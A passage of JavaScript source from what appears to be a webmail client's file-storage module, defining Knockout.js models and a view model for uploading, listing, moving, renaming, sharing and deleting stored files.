  	this.type(Utils.pString(oFileData['Type']));
  	this.size(Utils.pInt(oFileData['Size']));
  
  	this.uploadUid(sFileUid);
  	this.uploaded(false);
  	this.visibleSpinner(false);
  	this.statusText('');
  	this.progressPercent(0);
  	this.visibleProgress(false);
  };
  
  /**
   * Starts spinner and progress.
   */
  CCommonFileModel.prototype.onUploadStart = function ()
  {
  	this.visibleSpinner(true);
  	this.visibleProgress(true);
  };
  
  /**
   * Fills progress upload data.
   *
   * @param {number} iUploadedSize
   * @param {number} iTotalSize
   */
  CCommonFileModel.prototype.onUploadProgress = function (iUploadedSize, iTotalSize)
  {
  	if (iTotalSize > 0)
  	{
  		this.progressPercent(Math.ceil(iUploadedSize / iTotalSize * 100));
  		this.visibleProgress(true);
  	}
  };
  
  /**
   * Fills data when upload has completed.
   *
   * @param {string} sFileUid
   * @param {boolean} bResponseReceived
   * @param {Object} oResult
   */
  CCommonFileModel.prototype.onUploadComplete = function (sFileUid, bResponseReceived, oResult)
  {
  	var
  		bError = !bResponseReceived || !oResult || !!oResult.Error || false,
  		sError = Utils.i18n('COMPOSE/UPLOAD_ERROR_UNKNOWN')
  	;
  	
  	this.visibleSpinner(false);
  	this.progressPercent(0);
  	this.visibleProgress(false);
  	
  	this.uploaded(true);
  	this.uploadError(bError);
  	
  
  	if (bError && oResult)
  	{
  		switch (oResult.Error)
  		{
  			case 'size':
  				sError = Utils.i18n('COMPOSE/UPLOAD_ERROR_SIZE');
  				break;
  			case 'exception':
  				if (oResult.ErrorCode === 110)
  				{
  					sError = Utils.i18n('FILESTORAGE/UPLOAD_ERROR_MAXPATHLEN');
  				}
  				break;
  		}
  	}
  	
  	this.statusText(bError ? sError : Utils.i18n('COMPOSE/UPLOAD_COMPLETE'));
  	if (!bError)
  	{
  		this.fillDataAfterUploadComplete(oResult, sFileUid);
  		
  		setTimeout((function (self) {
  			return function () {
  				self.statusText('');
  			};
  		})(this), 3000);
  	}
  };
  
  /**
   * Should be overriden.
   * 
   * @param {Object} oResult
   * @param {string} sFileUid
   */
  CCommonFileModel.prototype.fillDataAfterUploadComplete = function (oResult, sFileUid)
  {
  };
  
  /**
   * @param {Object} oAttachmentModel
   * @param {Object} oEvent
   */
  CCommonFileModel.prototype.onImageLoad = function (oAttachmentModel, oEvent)
  {
  	if(this.thumb() && !this.thumbnailLoaded())
  	{
  		this.thumbnailLoaded(true);
  		Utils.thumbQueue(this.thumbnailSessionUid());
  	}
  };
  
  /**
   * @constructor
   * @extends CCommonFileModel
   */
  function CFileModel()
  {
  	this.id = ko.observable('');
  	this.fileName = ko.observable('');
  	this.nameForEdit = ko.observable('');
  	this.storageType = ko.observable(Enums.FileStorageType.Personal);
  	this.lastModified = ko.observable('');
  	
  	this.path = ko.observable('');
  	this.fullPath = ko.observable('');
  	this.publicHash = ko.observable('');
  	
  	this.selected = ko.observable(false);
  	this.checked = ko.observable(false);
  	this.isFolder = ko.observable(false);
  	this.edited = ko.observable(false);
  
  	this.isExternal = ko.observable(false);
  	this.isLink = ko.observable(false);
  	this.linkType = ko.observable(0);
  	this.linkUrl = ko.observable('');
  	this.thumbnailExternalLink = ko.observable('');
  	
  	this.deleted = ko.observable(false); // temporary removal until it was confirmation from the server to delete
  	this.recivedAnim = ko.observable(false).extend({'autoResetToFalse': 500});
  	this.shared = ko.observable(false);
  	this.owner = ko.observable('');
  	
  	this.ownerHeaderText = ko.computed(function () {
  		return Utils.i18n('FILESTORAGE/OWNER_HEADER_EMAIL', {
  			'OWNER': this.owner()
  		});
  	}, this);
  	
  	this.lastModifiedHeaderText = ko.computed(function () {
  		return Utils.i18n('FILESTORAGE/OWNER_HEADER_LAST_MODIFIED_DATE_TEXT', {
  			'LASTMODIFIED': this.lastModified()
  		});
  	}, this);
  	
  	CCommonFileModel.call(this);
  	
  	this.fileName.subscribe(function (value) {
  		this.nameForEdit(value);
  	}, this);
  
  	this.type = this.storageType;
  	this.uploaded = ko.observable(true);
  
  	this.downloadLink = ko.computed(function () {
  		return Utils.getFilestorageDownloadLinkByHash(
  			(AppData.Accounts) ? AppData.Accounts.currentId() : null, 
  			this.hash(), 
  			this.publicHash()
  		);
  	}, this);
  
  	this.viewLink = ko.computed(function () {
  		
  		if (this.isLink())
  		{
  			return this.linkUrl();
  		}
  		else
  		{
  			var sUrl = Utils.getFilestorageViewLinkByHash(
  				(AppData.Accounts) ? AppData.Accounts.currentId() : null, 
  				this.hash(), 
  				this.publicHash()
  			);
  
  			return this.iframedView() ? Utils.getIframeWrappwer(
  				(AppData.Accounts) ? AppData.Accounts.currentId() : null, sUrl) : sUrl;
  		}
  		
  	}, this);
  
  	this.isViewable = ko.computed(function () {
  		
  		var 
  			bResult = false,
  			aViewableArray = [
  				'JPEG', 'JPG', 'PNG', 'GIF', 'HTM', 'HTML', 'TXT', 'CSS', 'ASC', 'JS', 'PDF', 'BMP'
  			]
  		;
  		
  		if (_.indexOf(aViewableArray, this.extension().toUpperCase()) >= 0)
  		{
  			bResult = true;
  		}
  
  		return (this.iframedView() || bResult || (this.isLink())) && !this.isPopupItem();
  
  	}, this);
  	
  	this.visibleViewLink = ko.computed(function () {
  		return (this.oembed() !== '' || this.linkUrl() === '') && this.isViewable();
  	}, this);
  
  	this.thumbnailLink = ko.computed(function () {
  		
  		if (this.isExternal() || (this.isLink() && (this.linkType() === Enums.FileStorageLinkType.GoogleDrive || this.linkType() === Enums.FileStorageLinkType.YouTube || this.linkType() === Enums.FileStorageLinkType.Vimeo || this.linkType() === Enums.FileStorageLinkType.SoundCloud)))
  		{
  			return this.thumbnailExternalLink();
  		}
  		else
  		{
  			return this.thumb() ? Utils.getFilestorageViewThumbnailLinkByHash(this.accountId(), this.hash(), this.publicHash()) : '';
  		}
  	}, this);
  
  	this.edited.subscribe(function (value) {
  		if (value === false)
  		{
  			this.nameForEdit(this.fileName());
  		}
  	}, this);
  
  
  	this.canShare = ko.computed(function () {
  		return (this.storageType === Enums.FileStorageType.Personal || this.storageType === Enums.FileStorageType.Corporate);
  	}, this);
  	
  	//this.oembedHtml = ko.observable('');
  }
  
  Utils.extend(CFileModel, CCommonFileModel);
  
  /**
   * @returns {CFileModel}
   */
  CFileModel.prototype.getInstance = function ()
  {
  	return new CFileModel();
  };
  
  CFileModel.prototype.parse = function (oData, sPublicHash)
  {
  	var oDateModel = new CDateModel();
  	
  	this.isFolder(!!oData.IsFolder);
  	this.isLink(!!oData.IsLink);
  	this.fileName(Utils.pString(oData.Name));
  	this.id(Utils.pString(oData.Id));
  	this.path(Utils.pString(oData.Path));
  	this.fullPath(Utils.pString(oData.FullPath));
  	this.storageType(Utils.pString(oData.Type));
  	this.shared(!!oData.Shared);
  	this.isExternal(!!oData.IsExternal);
  
  	this.iframedView(!!oData.Iframed);
  	
  	if (this.isLink())
  	{
  		this.linkUrl(Utils.pString(oData.LinkUrl));
  		this.linkType(Utils.pInt(oData.LinkType));
  	}
  	
  	if (!this.isFolder())
  	{
  		this.size(Utils.pInt(oData.Size));
  		oDateModel.parse(oData['LastModified']);
  		this.lastModified(oDateModel.getShortDate());
  		this.owner(Utils.pString(oData.Owner));
  		this.thumb(!!oData.Thumb);
  		this.thumbnailExternalLink(Utils.pString(oData.ThumbnailLink));
  		this.hash(Utils.pString(oData.Hash));
  		this.publicHash(sPublicHash);
  		this.oembedHtml(oData.OembedHtml ? oData.OembedHtml : '');
  	}
  	
  	if(this.thumb() && this.thumbnailExternalLink() === '')
  	{
  		Utils.thumbQueue(this.thumbnailSessionUid(), this.thumbnailLink(), this.thumbnailSrc);
  	}
  	
  	this.content(Utils.pString(oData.Content));
  };
  
  /**
   * Fills attachment data for upload.
   * 
   * @param {string} sFileUid
   * @param {Object} oFileData
   * @param {string} sFileName
   * @param {string} sOwner
   * @param {string} sPath
   * @param {string} sStorageType
   */
  CFileModel.prototype.onUploadSelectOwn = function (sFileUid, oFileData, sFileName, sOwner, sPath, sStorageType)
  {
  	var
  		oDateModel = new CDateModel(),
  		oDate = new Date()
  	;
  	
  	this.onUploadSelect(sFileUid, oFileData);
  	
  	oDateModel.parse(oDate.getTime() /1000);
  	this.fileName(sFileName);
  	this.lastModified(oDateModel.getShortDate());
  	this.owner(sOwner);
  	this.path(sPath);
  	this.storageType(sStorageType);
  };
  
  /**
  * @constructor
  * @param {boolean=} bPopup = false
  */
  function CFileStorageViewModel(bPopup)
  {
  	this.allowSendEmails = ko.computed(function () {
  		return !!(AppData.App && AppData.App.AllowWebMail && AppData.Accounts && AppData.Accounts.isCurrentAllowsMail());
  	}, this);
  	
  	this.error = ko.observable(false);
  	this.loaded = ko.observable(false);
  	this.isPublic = bExtApp;
  	this.publicHash = bExtApp ? AppData.FileStoragePubHash : '';
  	this.IsCollaborationSupported = AppData.User.IsCollaborationSupported;
  	this.AllowFilesSharing = AppData.User.AllowFilesSharing;
  	
  	this.storages = ko.observableArray();
  	this.folders = ko.observableArray();
  	this.files = ko.observableArray();
  	this.uploadingFiles = ko.observableArray();
  
  	this.selected = ko.observable(false);
  	
  	this.rootPath = ko.observable(Utils.i18n('FILESTORAGE/TAB_PERSONAL_FILES'));
  	this.storageType = ko.observable(Enums.FileStorageType.Personal);
  	this.storageType.subscribe(function () {
  		var 
  			oStorage = null
  		;
  		if (this.isPublic)
  		{
  			this.rootPath(AppData.FileStoragePubParams.Name);
  		}
  		else
  		{
  			oStorage = this.getStorageByType(this.storageType());
  			if (oStorage)
  			{
  				this.rootPath(oStorage.displayName());
  			}
  		}
  		this.selector.listCheckedAndSelected(false);
  	}, this);
  	
  	this.iPathIndex = ko.observable(-1);
  	this.pathItems = ko.observableArray();
  	this.dropPath = ko.observable('');
  	this.path = ko.computed(function () {
  		var aPath = _.map(this.pathItems(), function (oItem) {
  			return oItem.id();
  		});
  		return aPath.join('/');
  	}, this);
  
  	this.path.subscribe(function (value) {
  		this.dropPath(value);
  	}, this);
  
  	this.collection = ko.computed(function () {
  		var files = _.union(this.files(), this.getUploadingFiles());
  
  		files.sort(function(left, right) {
  			return left.fileName() === right.fileName() ? 0 : (left.fileName().toLowerCase() < right.fileName().toLowerCase() ? -1 : 1); 
  		});
  		
  		return _.union(this.folders(), files);
  	}, this);
  	
  	this.columnCount = ko.observable(1);
  	
  	this.selector = new CSelector(this.collection, null,
  		_.bind(this.onItemDelete, this), _.bind(this.onItemDblClick, this), _.bind(this.onEnter, this), this.columnCount, true, true, true);
  		
  	this.searchPattern = ko.observable('');
  	this.isSearchFocused = ko.observable(false);
  
  	this.renameCommand = Utils.createCommand(this, this.executeRename, function () {
  		var items = this.selector.listCheckedAndSelected();
  		//return (1 === items.length && !items[0].isLink());
  		return (1 === items.length);
  	});
  	this.deleteCommand = Utils.createCommand(this, this.executeDelete, function () {
  		var items = this.selector.listCheckedAndSelected();
  		return (0 < items.length);
  	});
  	this.downloadCommand = Utils.createCommand(this, this.executeDownload, function () {
  		var items = this.selector.listCheckedAndSelected();
  		return (1 === items.length && !items[0].isFolder());
  	});
  	this.shareCommand = Utils.createCommand(this, this.executeShare, function () {
  		var items = this.selector.listCheckedAndSelected();
  		return (1 === items.length && !items[0].isLink());
  	});
  	this.sendCommand = Utils.createCommand(this, this.executeSend, function () {
  		var
  			aItems = this.selector.listCheckedAndSelected(),
  			aFileItems = _.filter(aItems, function (oItem) {
  				return !oItem.isFolder();
  			}, this)
  		;
  		return (aFileItems.length > 0);
  	});
  	
  	this.uploaderButton = ko.observable(null);
  	this.uploaderArea = ko.observable(null);
  	this.bDragActive = ko.observable(false);//.extend({'throttle': 1});
  //	this.bDragActive.subscribe(function () {
  //		if (this.searchPattern() !== '')
  //		{
  //			this.bDragActive(false);
  //		}
  //	}, this);
  
  	this.bDragActiveComp = ko.computed(function () {
  		var bDrag = this.bDragActive();
  		return bDrag && this.searchPattern() === '';
  	}, this);
  	
  	this.bAllowDragNDrop = false;
  	
  	this.uploadError = ko.observable(false);
  	
  	this.quota = ko.observable(0);
  	this.used = ko.observable(0);
  	this.quotaDesc = ko.observable('');
  	this.quotaProc = ko.observable(-1);
  	
  	ko.computed(function () {
  		
  		if (!AppData.App || AppData.App && !AppData.App.ShowQuotaBar)
  		{
  			return true;
  		}
  
  		var
  			iQuota = this.quota(),
  			iUsed = this.used(),
  			iProc = 0 < iQuota ? Math.ceil((iUsed / iQuota) * 100) : -1;
  
  		iProc = 100 < iProc ? 100 : iProc;
  		
  		this.quotaProc(iProc);
  		this.quotaDesc(-1 < iProc ?
  			Utils.i18n('MAILBOX/QUOTA_TOOLTIP', {
  				'PROC': iProc,
  				'QUOTA': Utils.friendlySize(iQuota)
  			}) : '');
  
  		return true;
  		
  	}, this);
  	
  	this.dragover = ko.observable(false);
  	
  	this.loading = ko.observable(false);
      this.loadedFiles = ko.observable(false);
  
  	this.fileListInfoText = ko.computed(function () {
  		var sInfoText = '';
  		
  		if (this.loading())
  		{
              sInfoText = Utils.i18n('FILESTORAGE/INFO_LOADING');
  		}
  		else if (this.loadedFiles())
  		{
  			if (this.collection().length === 0)
  			{
  				if (this.isPublic)
  				{
  					sInfoText = Utils.i18n('FILESTORAGE/INFO_PUBLIC_FOLDER_NOT_EXIST');
  				}
  				else
  				{
  					if (this.searchPattern() !== '' || this.isPublic)
  					{
                          sInfoText = Utils.i18n('FILESTORAGE/INFO_NO_ITEMS_FOUND');
  					}
  					else
  					{
  						if (this.path() !== '' || this.isPopup)
  						{
                              sInfoText = Utils.i18n('FILESTORAGE/INFO_FOLDER_IS_EMPTY');
  						}
  						else if (this.bAllowDragNDrop)
  						{
                              sInfoText = Utils.i18n('FILESTORAGE/INFO_FILESTORAGE_IS_EMPTY');
  						}
  					}
  				}
  			}
  		}
  		else if (this.error())
  		{
              sInfoText = Utils.i18n('FILESTORAGE/ERROR_FILESTORAGE');
  		}
  		
  		return sInfoText;
  	}, this);
  	
  	this.dragAndDropHelperBinded = _.bind(this.dragAndDropHelper, this);
  	this.isPopup = !!bPopup;
  	this.isCurrentStorageExternal = ko.computed(function () {
  		var oStorage = this.getStorageByType(this.storageType());
  		return (oStorage && oStorage.isExternal());
  	}, this);
  	this.timerId = null;
  }
  
  CFileStorageViewModel.prototype.__name = 'CFileStorageViewModel';
  
  /**
   * @param {Object} $viewModel
   */
  CFileStorageViewModel.prototype.onApplyBindings = function ($viewModel)
  {
  	this.selector.initOnApplyBindings(
  		'.items_sub_list .item',
  		'.items_sub_list .selected.item',
  		'.items_sub_list .item .custom_checkbox',
  		$('.panel.files .items_list', $viewModel),
  		$('.panel.files .items_list .files_scroll.scroll-inner', $viewModel)
  	);
  		
  	this.initUploader();
  
  	this.hotKeysBind();
  };
  
  CFileStorageViewModel.prototype.hotKeysBind = function ()
  {
  	var bIsFileStorageScreen = App.Screens.currentScreen() === Enums.Screens.FileStorage;
  
  	$(document).on('keydown', _.bind(function(ev) {
  		if (bIsFileStorageScreen && ev && ev.keyCode === Enums.Key.s && this.selector.useKeyboardKeys() && !Utils.isTextFieldFocused()) {
  			ev.preventDefault();
  			this.isSearchFocused(true);
  		}
  	}, this));
  };
  
  /**
   * Initializes file uploader.
   */
  CFileStorageViewModel.prototype.initUploader = function ()
  {
  	var self = this;
  	
  	if (this.uploaderButton() && this.uploaderArea())
  	{
  		this.oJua = new Jua({
  			'action': '?/Upload/File/',
  			'name': 'jua-uploader',
  			'queueSize': 2,
  			'clickElement': this.uploaderButton(),
  			'hiddenElementsPosition': Utils.isRTL() ? 'right' : 'left',
  			'dragAndDropElement': this.uploaderArea(),
  			'disableAjaxUpload': this.isPublic ? true : false,
  			'disableFolderDragAndDrop': this.isPublic ? true : false,
  			'disableDragAndDrop': this.isPublic ? true : false,
  			'hidden': {
  				'Token': function () {
  					return AppData.Token;
  				},
  				'AccountID': function () {
  					return AppData.Accounts.currentId();
  				},
  				'AdditionalData':  function (oFile) {
  					return JSON.stringify({
  						'Type': self.storageType(),
  						'SubPath': oFile && !Utils.isUnd(oFile['Folder']) ? oFile['Folder'] : '',
  						'Path': self.dropPath()
  					});
  				}
  			}
  		});
  
  		this.oJua
  			.on('onProgress', _.bind(this.onFileUploadProgress, this))
  			.on('onSelect', _.bind(this.onFileUploadSelect, this))
  			.on('onStart', _.bind(this.onFileUploadStart, this))
  			.on('onDrop', _.bind(this.onDrop, this))
  			.on('onComplete', _.bind(this.onFileUploadComplete, this))
  			.on('onBodyDragEnter', _.bind(this.bDragActive, this, true))
  			.on('onBodyDragLeave', _.bind(this.bDragActive, this, false))
  		;
  		
          this.bAllowDragNDrop = this.oJua.isDragAndDropSupported();
  	}
  };
  
  /**
   * Creates new attachment for upload.
   *
   * @param {string} sFileUid
   * @param {Object} oFileData
   */
  CFileStorageViewModel.prototype.onFileUploadSelect = function (sFileUid, oFileData)
  {
  	if (AppData.App.FileSizeLimit > 0 && oFileData.Size/(1024*1024) > AppData.App.FileSizeLimit)
  	{
  		App.Screens.showPopup(AlertPopup, [
  			Utils.i18n('FILESTORAGE/ERROR_SIZE_LIMIT', {'SIZE': AppData.App.FileSizeLimit})
  		]);
  		return false;
  	}	
  	
  	if (this.searchPattern() === '')
  	{
  		var 
  			oFile = new CFileModel(),
  			sFileName = oFileData.FileName,
  			sFileNameExt = Utils.getFileExtension(sFileName),
  			sFileNameWoExt = Utils.getFileNameWithoutExtension(sFileName),
  			iIndex = 0,
  			oAccount = AppData.Accounts.getDefault()
  		;
  		
  		if (sFileNameExt !== '')
  		{
  			sFileNameExt = '.' + sFileNameExt;
  		}
  
  		while (!Utils.isUnd(this.getFileByName(sFileName)))
  		{
  			sFileName = sFileNameWoExt + '_' + iIndex + sFileNameExt;
  			iIndex++;
  		}
  		
  		oFile.onUploadSelectOwn(sFileUid, oFileData, sFileName, oAccount.email(), this.path(), this.storageType());
  		
  		this.uploadingFiles.push(oFile);
  	}
  };
  
  /**
   * Finds attachment by uid. Calls it's function to start upload.
   *
   * @param {string} sFileUid
   */
  CFileStorageViewModel.prototype.onFileUploadStart = function (sFileUid)
  {
  	var oFile = this.getUploadFileByUid(sFileUid);
  
  	if (oFile)
  	{
  		oFile.onUploadStart();
  	}
  };
  
  /**
   * Finds attachment by uid. Calls it's function to progress upload.
   *
   * @param {string} sFileUid
   * @param {number} iUploadedSize
   * @param {number} iTotalSize
   */
  CFileStorageViewModel.prototype.onFileUploadProgress = function (sFileUid, iUploadedSize, iTotalSize)
  {
  	if (this.searchPattern() === '')
  	{
  		var oFile = this.getUploadFileByUid(sFileUid);
  
  		if (oFile)
  		{
  			oFile.onUploadProgress(iUploadedSize, iTotalSize);
  		}
  	}
  };
  
  /**
   * Finds attachment by uid. Calls it's function to complete upload.
   *
   * @param {string} sFileUid
   * @param {boolean} bResponseReceived
   * @param {Object} oResult
   */
  CFileStorageViewModel.prototype.onFileUploadComplete = function (sFileUid, bResponseReceived, oResult)
  {
  	if (this.searchPattern() === '')
  	{
  		var
  			oFile = this.getUploadFileByUid(sFileUid)
  		;
  		
  		if (oFile)
  		{
  			oFile.onUploadComplete(sFileUid, bResponseReceived, oResult);
  			
  			this.deleteUploadFileByUid(sFileUid);
  			
  			if (oFile.uploadError())
  			{
  				this.uploadError(true);
  				App.Api.showError(oFile.statusText());
  			}
  			else
  			{
  				this.files.push(oFile);
  				if (this.uploadingFiles().length === 0)
  				{
  					App.Api.showReport(Utils.i18n('COMPOSE/UPLOAD_COMPLETE'));
  				}
  			}
  		}
  
  		this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()), this.searchPattern(), false);
  	}
  };
  
  /**
   * @param {Object} oFile
   * @param {Object} oEvent
   */
  CFileStorageViewModel.prototype.onDrop = function (oFile, oEvent)
  {
  	if (this.isPublic)
  	{
  		return;
  	}
  		
  	if (oEvent && oEvent.target && this.searchPattern() === '')
  	{
  		var oFolder = ko.dataFor(oEvent.target);
  		if (oFolder && oFolder instanceof CFileModel && oFolder.isFolder())
  		{
  			this.dropPath(oFolder.fullPath());
  		}
  	}
  	else
  	{
  		App.Api.showReport(Utils.i18n('FILESTORAGE/INFO_CANNOT_UPLOAD_SEARCH_RESULT'));
  	}
  };
  
  /**
   * @param {Object} oFolder
   * @param {Object} oEvent
   * @param {Object} oUi
   */
  CFileStorageViewModel.prototype.filesDrop = function (oFolder, oEvent, oUi)
  {
  	if (this.isPublic)
  	{
  		return;
  	}
  
  	if (oFolder && oEvent)
  	{
  		var
  			self = this,
  			sFromPath = '',
  			bFolderIntoItself = false,
  			sToPath = oFolder.fullPath(),
  			aChecked = [],
  			aItems = []
  		;
  		
  		if (this.path() !== sToPath && this.storageType() === oFolder.storageType() || this.storageType() !== oFolder.storageType())
  		{
  			oFolder.recivedAnim(true);
  			Utils.uiDropHelperAnim(oEvent, oUi);
  
  			aChecked = this.selector.listCheckedAndSelected();
  			_.each(aChecked, function (oItem) {
  				sFromPath = oItem.path();
  				bFolderIntoItself = oItem.isFolder() && sToPath === sFromPath + '/' + oItem.id();
  				if (!bFolderIntoItself)
  				{
  					if (!oEvent.ctrlKey)
  					{
  						if (!oItem.isFolder())
  						{
  							self.deleteFileByName(oItem.id());
  						}
  						else
  						{
  							self.deleteFolderByName(oItem.fileName());
  						}
  					}
  					aItems.push({
  						'Name':  oItem.id(),
  						'IsFolder': oItem.isFolder()
  					});
  				}
  			});
  			
  			if (aItems.length > 0)
  			{
  				App.Ajax.send({
  						'Action': oEvent.ctrlKey ? 'FilesCopy' : 'FilesMove',
  						'FromType': this.storageType(),
  						'ToType': oFolder.storageType(),
  						'FromPath': sFromPath,
  						'ToPath': sToPath,
  						'Files': JSON.stringify(aItems)
  					},
  					this.onFilesMoveResponse,
  					this
  				);
  			}
  		}
  	}
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onFilesMoveResponse = function (oData, oParameters)
  {
  	this.getQuota(this.storageType());
  };
  
  /**
   * @param {Object} oFile
   */
  CFileStorageViewModel.prototype.dragAndDropHelper = function (oFile)
  {
  	if (oFile)
  	{
  		oFile.checked(true);
  	}
  
  	var
  		oHelper = Utils.draggableMessages(),
  		aItems = this.selector.listCheckedAndSelected(),
  		nCount = aItems.length,
  		nFilesCount = 0,
  		nFoldersCount = 0,
  		sText = '';
  	
  	_.each(aItems, function (oItem) {
  		if (oItem.isFolder())
  		{
  			nFoldersCount++;
  		}
  		else
  		{
  			nFilesCount++;
  		}
  
  	}, this);
  	
  	if (nFilesCount !== 0 && nFoldersCount !== 0)
  	{
  		sText = Utils.i18n('FILESTORAGE/DRAG_ITEMS_TEXT_PLURAL', {'COUNT': nCount}, null, nCount);
  	}
  	else if (nFilesCount === 0)
  	{
  		sText = Utils.i18n('FILESTORAGE/DRAG_FOLDERS_TEXT_PLURAL', {'COUNT': nFoldersCount}, null, nFoldersCount);
  	}
  	else if (nFoldersCount === 0)
  	{
  		sText = Utils.i18n('FILESTORAGE/DRAG_TEXT_PLURAL', {'COUNT': nFilesCount}, null, nFilesCount);
  	}
  	
  	$('.count-text', oHelper).text(sText);
  
  	return oHelper;
  };
  
  CFileStorageViewModel.prototype.onItemDelete = function ()
  {
  	this.executeDelete();
  };
  
  /**
   * @param {{isFolder:Function,path:Function,name:Function,isViewable:Function,viewFile:Function,downloadFile:Function}} oItem
   */
  CFileStorageViewModel.prototype.onEnter = function (oItem)
  {
  	this.onItemDblClick(oItem);
  };
  
  /**
   * @param {{isFolder:Function,path:Function,name:Function,isViewable:Function,viewFile:Function,downloadFile:Function}} oItem
   */
  CFileStorageViewModel.prototype.onItemDblClick = function (oItem)
  {
  	if (oItem)
  	{
  		if (oItem.isFolder())
  		{
  			this.getFiles(this.storageType(), oItem);
  		}
  		else
  		{
  			if (oItem.isViewable())
  			{
  				oItem.viewFile();
  			}
  			else
  			{
  				if (this.isPopup)
  				{
  					if (this.onSelectClickPopupBinded)
  					{
  						this.onSelectClickPopupBinded();
  					}
  				}
  				else
  				{
  					oItem.downloadFile();
  				}
  			}
  		}
  	}
  };
  
  /**
   * @param {AjaxDefaultResponse} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onFilesResponse = function (oData, oParameters)
  {
  	if (oData.Result)
  	{
  		var 
  			aFolderList = [],
  			aFileList = [],
  			sThumbSessionUid = Date.now().toString()
  		;
  
  		if (oData.Result.Quota)
  		{
  			this.quota(oData.Result.Quota[0] + oData.Result.Quota[1]);
  			this.used(oData.Result.Quota[0]);
  		}
  		
  		_.each(oData.Result.Items, function (oValue) {
  			var oItem = new CFileModel()
  				.allowDrag(true)
  				.allowSelect(true)
  				.allowCheck(true)
  				.allowDelete(true)
  				.allowUpload(true)
  				.allowSharing(true)
  				.allowHeader(true)
  				.allowDownload(true)
  				.isPopupItem(this.isPopup);
  				
  			oItem.parse(oValue, this.publicHash);
  			
  			oItem.getInThumbQueue(sThumbSessionUid);
  			if (oItem.isFolder())
  			{
  				aFolderList.push(oItem);
  			}
  			else
  			{
  				aFileList.push(oItem);
  			}
  		}, this);
  		
  		if (this.isPublic || oParameters.Type === this.storageType())
  		{
  			this.folders(aFolderList);
  			this.files(aFileList);
  		}
  		
  		this.loading(false);
          this.loadedFiles(true);
  		clearTimeout(this.timerId);
  	}
  	else
  	{
  		this.loading(false);
  		this.error(true);
  	}
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onQuotaResponse = function (oData, oParameters)
  {
  	if (oData.Result && oData.Result.Quota)
  	{
  		this.quota(oData.Result.Quota[0] + oData.Result.Quota[1]);
  		this.used(oData.Result.Quota[0]);
  	}
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onFilesDeleteResponse = function (oData, oParameters)
  {
  	if (oData.Result)
  	{
  		this.expungeFileItems();
  	}
  	else
  	{
  		this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()), this.searchPattern());
  	}
  };
  
  CFileStorageViewModel.prototype.executeRename = function ()
  {
  	var
  		aChecked = this.selector.listCheckedAndSelected()
  	;
  	if (!this.isPublic && aChecked[0])
  	{
  		App.Screens.showPopup(FileStorageRenamePopup, [aChecked[0], _.bind(this.renameItem, this)]);
  	}
  };
  
  CFileStorageViewModel.prototype.executeDownload = function ()
  {
  	var 
  		aChecked = this.selector.listCheckedAndSelected()
  	;
  	if (aChecked[0] && !aChecked[0].isFolder())
  	{
  		aChecked[0].downloadFile();
  	}
  };
  
  CFileStorageViewModel.prototype.executeShare = function ()
  {
  	var 
  		aChecked = this.selector.listCheckedAndSelected()
  	;
  	if (!this.isPublic &&  aChecked[0])
  	{
  		App.Screens.showPopup(FileStorageSharePopup, [aChecked[0]]);
  	}
  };
  
  CFileStorageViewModel.prototype.executeSend = function ()
  {
  	var
  		aItems = this.selector.listCheckedAndSelected(),
  		aFileItems = _.filter(aItems, function (oItem) {
  			return !oItem.isFolder();
  		}, this)
  	;
  	
  	if (aFileItems.length > 0)
  	{
  		App.Api.composeMessageWithFiles(aFileItems);
  	}
  };
  
  /**
   * @param {Object} oItem
   */
  CFileStorageViewModel.prototype.onShareIconClick = function (oItem)
  {
  	if (oItem)
  	{
  		App.Screens.showPopup(FileStorageSharePopup, [oItem]);
  	}
  };
  
  /**
   * @param {Object} oItem
   * @return {string}
   */
  CFileStorageViewModel.prototype.renameItem = function (oItem)
  {
  	var sName = Utils.trim(oItem.nameForEdit());
  	if (!Utils.validateFileOrFolderName(sName))
  	{
  		return oItem.isFolder() ?
  			Utils.i18n('FILESTORAGE/INVALID_FOLDER_NAME') : Utils.i18n('FILESTORAGE/INVALID_FILE_NAME');
  	}
  	else
  	{
  		App.Ajax.send({
  				'Action': 'FilesRename',
  				'Type': this.storageType(),
  				'Path': oItem.path(),
  				'Name': oItem.id(),
  				'NewName': sName,
  				'IsLink': oItem.isLink() ? 1 : 0
  			}, this.onFilesRenameResponse, this
  		);
  	}
  
  	return '';
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CFileStorageViewModel.prototype.onFilesRenameResponse = function (oData, oParameters)
  {
  	this.getFiles(this.storageType(), this.getPathItemByIndex(this.iPathIndex()), this.searchPattern());
  };
  
  
  CFileStorageViewModel.prototype.executeDelete = function ()
  {
  	var
  		aChecked = this.selector.listCheckedAndSelected()
  	;
  	if (!this.isPublic && aChecked && aChecked.length > 0)
  	{
  		App.Screens.showPopup(ConfirmPopup, [Utils.i18n('FILESTORAGE/CONFIRMATION_DELETE'), _.bind(this.deleteItems, this, aChecked)]);
  	}
  };
  
  CFileStorageViewModel.prototype.onShow = function ()
  {
  //	if (!this.loaded() || this.isPopup)
  //	{
  		this.loaded(true);
  		this.getStorages();
  //	}
  
  	this.selector.useKeyboardKeys(true);
  
  	if (this.oJua)
  	{
  		this.oJua.setDragAndDropEnabledStatus(true);
  	}
  };
  
  CFileStorageViewModel.prototype.onHide = function ()
  {
  	this.selector.useKeyboardKeys(false);
  	if (this.oJua)
  	{
  		this.oJua.setDragAndDropEnabledStatus(false);
  	}
  };
  
  /**
   * @param {number} iType
   */
  CFileStorageViewModel.prototype.getQuota = function (iType)
  {
  	App.Ajax.send({
  			'Action': 'FilesQuota',
  			'Type': iType
  		}, this.onQuotaResponse, this
  	);
  };
  
  CFileStorageViewModel.prototype.getStorageByType = function (storageType)
  {
  	return _.find(this.storages(), function(oStorageItem){ 
  		return oStorageItem.storageType() === storageType; 
  	});	
  };
  
  CFileStorageViewModel.prototype.getStorages = function ()
  {
  //	this.storages.removeAll();
  	
  	if (!this.isPublic)
  	{
  		if (!this.getStorageByType('personal'))
  		{
  			this.storages.push(
  				new CFileModel()
  					.isFolder(true)
  					.storageType('personal')
  					.displayName(Utils.i18n('FILESTORAGE/TAB_PERSONAL_FILES'))
  			);
  		}
  		if (this.IsCollaborationSupported)
  		{
